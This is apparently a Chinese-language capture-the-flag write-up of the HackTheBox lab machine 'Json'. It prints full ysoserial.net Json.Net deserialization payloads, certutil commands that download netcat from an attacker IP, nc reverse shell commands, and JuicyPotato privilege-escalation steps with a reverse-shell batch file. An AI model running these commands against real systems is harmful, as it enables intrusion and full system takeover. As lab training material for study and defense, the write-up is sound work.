Json是一个中等难度的靶机,知识点涉及弱口令漏洞、JavaScript反混淆、Json反序列化、烂土豆提权
FileZilla密码替换等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.158 -oA nmap_Json
扫描结果显示目标开放了21、80、135、445、5985、47001等端口
80端口
访问站点首先会跳转进入至管理界面,随后重定向至登陆界面
使用 Burp Suite 查看请求包进行分析,请求的 js 文件大多响应 404
使用 Burp Suite 拦截请求包,在此之前请清除浏览器当中的页面缓存,否则请求不会经过 Burp Suite
这确实是一个控制面板,且不需要进行身份验证。放包后会跳转至登陆界面
JavaScript反混淆
请求文件/js/app.min.js返回混淆代码
放入网站中进行反混淆操作,手工替换后拿到原 js 代码
网站地址:http://jsnice.org/
'use strict';
angular["module"]("json", ["ngCookies"])["controller"]("loginController", ["$http", "$sc
ope", "$cookies", function(elem, data, isSlidingUp) {
data["credentials"] = {
UserName : "",
Password : ""
};
data["error"] = {
message : _0xd18f[18],
show : false
};
var _0x30f6x4 = isSlidingUp["get"]("OAuth2");
if (_0x30f6x4) {
window["location"]["href"] = "index.html";
}
/**
* @return {undefined}
*/
data["login"] = function() {
elem["post"]("/api/token", data["credentials"])["then"](function(canCreateDiscussions) {
window["location"]["href"] = "index.html";
}, function(body) {
data["error"]["message"] = "Invalid Credentials.";
/** @type {boolean} */
data["error"]["show"] = true;
console["log"](body);
});
};
}])["controller"]("principalController", ["$http", "$scope"], "$cookies", function
($http, isSlidingUp, canCreateDiscussions) {
var _0x30f6x4 = canCreateDiscussions["get"]("OAuth2");
if (_0x30f6x4) {
$http["get"]("/api/Account/", {
headers : {
"Bearer" : _0x30f6x4
}
})["then"](function(canCreateDiscussions) {
isSlidingUp["UserName"] = canCreateDiscussions["data"]["Name"];
}, function(canCreateDiscussions) {
canCreateDiscussions["remove"]("OAuth2");
window["location"]["href"] = "login.html";
});
} else {
window["location"]["href"] = "login.html";
}
}]);
代码中将windows.location.href设置为login.html,同时基于 OAuth2 调用/api/account
弱口令
使用异常简单的admin/admin能够直接登陆目标站点
与此同时使用 Burp Suite 抓取登陆请求包,它向/api/token发送明文的账号密码
目标则返回 OAuth2 的 Cookie 值
Cookie 值通过 base64 解码后登陆用户的个人信息
echo 'eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3Y
TVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZ
G1pbmlzdHJhdG9yIn0=' | base64 -d
0x02 上线[userpool]
API模糊测试
在 http 请求包中存在两个参数引人注目,分别是 Cookie 和 Bearer
Cookie
首先在 Cookie 中进行修改,结果未发生变化
Bearer
在 Bearer 中进行修改,返回数据包发生变化说明可能存在反序列化漏洞
反序列化
在 Bearer 中提供错误输入时服务器返回Json.Net Object,使用YSoSerial.Net
工具可用于 .Net 反序列化攻击
工具下载地址:https://github.com/pwntester/ysoserial.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.16" -o base64
成功生成序列化 POC 并替换请求头中的 Bearer
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCB
QcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFs
LCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWU
nOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzd
GVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vsd
HVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgIC
AgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBpbmcgMTAuMTAuMTQuMTYnXQ0KICAgIH0sDQogIC
AgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN
5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuP
WI3N2E1YzU2MTkzNGUwODknfQ0KfQ==
同时监听 icmp 数据包并发送带有 POC 的请求
tcpdump -i tun0 icmp
成功在本地接收到 icmp 数据包,说明命令执行成功
使用ysoserial.exe序列化命令:通过 http 服务下载 nc
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://10.10.14.16
/nc64.exe c:/windows/System32/spool/drivers/color/nc64.exe" -o base64
生成如下 base64 编码
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZ
W50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWN
LZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogIC
AgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF
5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX
lUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGNlcnR1
dGlsIC11cmxjYWNoZSAtc3BsaXQgLWYgaHR0cDovLzEwLjEwLjE0LjE2L25jNjQuZXhlIGM6L3dpbmRvd3
MvU3lzdGVtMzIvc3Bvb2wvZHJpdmVycy9jb2xvci9uYzY0LmV4ZSddDQogICAgfSwNCiAgICAnT2JqZW
N0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCB
WZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYx
OTM0ZTA4OSd9DQp9
监听 443 端口
nc -nvlp 443
开启 http 服务
python3 -m http.server 80
使用ysoserial.exe序列化命令:执行反弹shell
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "c:/windows/System32/spool/driv
ers/color/nc64.exe -e cmd.exe 10.10.14.16 443" -o base64
生成如下 base64 编码
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50
YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2t
lbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZF
BhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3
JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1Nj
E5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGM6L3dpbmRvd3MvU3lzdGVtMzIvc3Bv
b2wvZHJpdmVycy9jb2xvci9uYzY0LmV4ZSAtZSBjbWQuZXhlIDEwLjEwLjE0LjE2IDQ0MyddDQogICAgfSwNCiA
gICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdG
VtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxO
TM0ZTA4OSd9DQp9
成功拿到反弹shell,在当前用户桌面上寻找第一个flag
dir c:\Users\userpool\Desktop
type c:\Users\userpool\Desktop\user.txt
成功拿到第一个flag
0x03 权限提升[system]
内核提权
信息收集
查看系统信息
systeminfo
系统版本为 Windows Server 2012,使用 Windows-Exploit-Suggester 查找相关内核漏洞
python windows-exploit-suggester.py --database 2021-05-18-m
ssb.xls --systeminfo systeminfo.txt
结果显示可用多个漏洞进行提权,查看用户权限发现SeImpersonatePrivilege已开启这
就意味着我们可使用烂土豆进行提权
whoami /priv
烂土豆利用
编写 bat 脚本rev.bat
\windows\system32\spool\drivers\color\nc64.exe -e cmd.exe 10.10.14.16 4444
使用 http 服务将其上传至c:/windows/System32/spool/drivers/color/目录当中
certutil -urlcache -split -f http://10.10.14.16/rev.bat c:/windo
ws/System32/spool/drivers/color/rev.bat
在本地建立 smb 共享
python3 smbserver.py -smb2support mac -username mac -passwo
rd mac ~/hackthebox/Machines/Json
使用 smb 共享制定一个 CLSID 运行烂土豆
net use \\10.10.14.16\mac /u:mac mac
\\10.10.14.16\mac\JuicyPotato.exe -t * -p \windows\system32\spool\drivers\color\re
v.bat -l 9001 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
在本地监听 4444 端口
nc -nvlp 4444
但是无法运行,查其原因貌似是未连接 smb 服务,为什么会导致这个问题产生呢?发现原来是 smbserver
导致 smb 服务开启后靶机连接出错,换一个版本后即可连接成功
由于 smbserver 出现了小毛病,我们还是切换至 http 服务来完成传输
certutil -urlcache -split -f http://10.10.14.16/JuicyPotato.exe c:/win
dows/System32/spool/drivers/color/JuicyPotato.exe
运行烂土豆尝试获取权限
c:/windows/System32/spool/drivers/color/JuicyPotato.exe -t * -p \windows\system32\spoo
l\drivers\color\rev.bat -l 9001 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
成功拿到系统权限
在管理员 superadmin 桌面上寻找第二个flag
dir c:\Users\superadmin\Desktop
type c:\Users\superadmin\Desktop\root.txt
成功拿到第二个flag
FileZilla获取flag
发现FileZilla进程
查看本地开放端口
netstat -ano
存在之前 nmap 未探测的端口:21,查看对应进程发现这是 FileZilla 应用
tasklist | findstr 632
查看程序对应的配置文件,其中包含哈希值和管理端口(14147),尝试哈希破解但是无果
cd "c:\PROGRA~2\FileZilla Server"
type "FileZilla Server.xml"
搭建隧道
为了方便与靶机进行交互,我们可以使用 Chisel 建立隧道。首先将其上传至靶机当中
copy \\10.10.14.16\mac\chisel.exe \windows\system32\spool\drivers\color\chisel.exe
在本地开启反向代理端口8000
./chisel server -p 8000 --reverse
在靶机上连接本地8000端口
chisel.exe client 10.10.14.16:8000 R:223:localhost:14147
在本地安装 FileZilla Server,以下是安装过程
下载地址:https://filezilla-project.org/download.php?type=server
sudo dpkg -i FileZilla_Server_1.3.0_x86_64-linux-gnu.deb
但是其中并没有配置地址和端口的界面,切换至 Windows 下本机又无法连接 v\p\n,真是个头疼的问题
总结
通过弱口令可直接进入网站后台,查看http请求头信息发现Bearer标头存在反序列化漏洞,使用反序列化工具ysoserial
序列化payload,执行反弹shell拿到用户权限。在靶机中检查系统信息,其中存在许多提权漏洞,最终选择烂土豆提升
至系统权限。0xdf大神还介绍了其他两种获取flag的方式,分别是FileZill和Sync2Ftp,我这边只测试了第一种情况但
是遇到v\p\n占用问题导致实验无法继续。 |